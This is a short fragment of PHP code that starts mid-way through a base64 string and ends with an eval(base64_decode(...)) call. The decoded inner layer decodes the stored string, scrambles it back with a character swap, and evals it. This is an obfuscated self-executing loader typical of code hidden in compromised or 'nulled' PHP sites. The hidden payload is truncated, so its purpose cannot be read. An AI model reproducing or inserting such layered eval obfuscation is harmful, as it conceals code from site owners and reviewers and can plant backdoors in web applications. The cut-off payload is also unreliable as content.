1bTR4XzFkdjFuYzVkXzVkNHQyciwgJ2h0bWxfM241bmMyZDUnKSw2MDAwKTsNCn0NCg0KDQo/Pg==';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?>